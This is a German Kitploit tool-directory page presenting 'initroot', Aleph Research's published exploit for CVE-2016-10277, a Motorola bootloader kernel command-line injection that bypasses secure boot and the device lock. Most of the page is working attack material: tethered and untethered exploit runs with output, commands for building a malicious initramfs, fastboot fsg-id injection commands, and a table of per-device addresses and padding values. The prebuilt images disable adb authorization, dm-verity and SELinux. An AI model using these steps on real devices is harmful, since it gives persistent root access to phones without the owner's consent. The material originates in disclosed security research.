Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
initroot — Motorola Untethered Jailbreak: Ausnutzung von CVE-2016-10277 zur Umgehung des sicheren Bootvorgangs und der Gerätesperre | Kitploit
Tools/GitHubGitHub/alephsecurity/initroot
Android-SicherheitPrivilege EscalationPersistenzmechanismenSchwachstellenanalyseExploitationMobile SicherheitPayload-EntwicklungBinary-Exploitation
GitHubalephsecurity/initroot

initroot

Motorola Untethered Jailbreak: Ausnutzung von CVE-2016-10277 zur Umgehung des sicheren Bootvorgangs und der Gerätesperre

Repository anzeigen
84244vor 9 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

initroot: Motorola Bootloader Kernel Cmdline Injection Secure Boot & Gerätesperren-Bypass (CVE-2016-10277)

Von Roee Hay / Aleph Research, HCL Technologies

Exploit der ersten Stufe: Tethered Jailbreak

Dieser Exploit erlangt einen vorübergehenden uneingeschränkten Root-Zugriff auf dem Gerät. Zum Beispiel auf cedric (einige Nachrichten wurden zur Lesbarkeit entfernt):

root@kitploit:~
$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0xA2100000,1588596
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [  1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ # 

Exploit der zweiten Stufe: Untethered Jailbreak

Dieser Exploit erlangt einen persistenten Root-Zugriff auf dem Gerät. Zum Beispiel auf athene (einige Nachrichten wurden zur Lesbarkeit entfernt):

root@kitploit:~
$ cd ./untethered/athene
$ ./initroot-untethered.sh 
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x92000000,2505052
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [  1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a rdinit= root=/dev/mmcblk0p41
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
rebooting...

finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # 

Erstellen eines eigenen bösartigen initramfs-Archivs

  1. Verwenden Sie das committierte initroot-<device>.cpio.gz oder erstellen Sie Ihr eigenes:
root@kitploit:~
$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
ODER wenn Padding benötigt wird:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz  && rm -fr ../tmp
$ cd ..
  1. Unsere committierten initramfs-Images haben standardmäßig adb als root laufen. Es wird nicht nach Autorisierung fragen. Zusätzlich ist dm-verity auf den relevanten Partitionen deaktiviert
root@kitploit:~
fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue
  1. Wenn Sie unser initramfs verwenden, erhalten Sie jetzt mit adb shell eine Root-Shell:
root@kitploit:~
$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0

Erstellen eines Untethered-Exploits für andere Moto-Geräte

Lesen Sie unseren Blogbeitrag

Verifizierte Geräte

Von der Community gemeldet

Hinweis

Diese Schwachstelle könnte auch andere Motorola-Geräte betreffen: Ein anderes initramfs wird benötigt. Eine andere physische Adresse von initrd (SCRATCH_ADDR). PADDING kann ebenfalls variieren.

Video-Demo

Video-Demo von CVE-2016-10277

Veröffentlichungen

  1. initroot: Bypassing Nexus 6 Secure Boot through Kernel Command-line Injection
  2. initroot: Hello Moto
  3. Motorola Android Bootloader Kernel Cmdline Injection Secure Boot Bypass
  4. Untethered initroot (USENIX WOOT '17)
  5. USENIX WOOT '17 paper
Tool herunterladen
GerätCodenameSCRATCH_ADDRPADDINGcommitted initramsUngenutzte Partition
Nexus 6shamu0x110000000x0AOSP userdebugmmcblk0p11
Moto G5 (XT1676)cedric0xA01000000x2000000Release, gepatchtes init und adbd zur Deaktivierung von SELinux, set{u,g}id auf Shell, Capabilities-Drop und adb-Auth, uswmmcblk0p41
Moto G4 (XT1622)athene0x900000000x2000000""mmcblk0p48
GerätCodenameSCRATCH_ADDRReporterBeschreibung
Moto G5 Pluspotter0xA0100000drbeatInjizierte Boot-Eigenschaft. [proof]
Moto G4 Play (XT1607)harpia0x90000000m-mullinsVollständige Ausnutzung des Amazon XT1607. [proof]
Moto G4 Play (XT1609)harpia0x90000000@utoprimeVollständige Ausnutzung des Verizon XT1609. [proof]
Moto G4 (XT1625)athene0x90000000@EWorcelInjizierte initrd, die Boot-Loops verursachte. [proof]
Moto G3osprey0x90000000@asiekierkaInjizierte initrd, die Boot-Loops verursachte. [proof]
Moto G2 (XT1072)thea0x11000000@TheElixInjizierte initrd verursachte Boot-Loops. [proof]
Moto G (XT1032)falcon_retfr0x11000000Pierre ZurekVollständige Ausnutzung mit 64MB Padding [proof]
Moto E (XT830C)condor_cdma0x0E000000fetcherVollständige Ausnutzung des XT830C, gesperrt auf Tracfone/Verizon, mit einem 32MB Padding [proof]
Andere--@jcase[proof]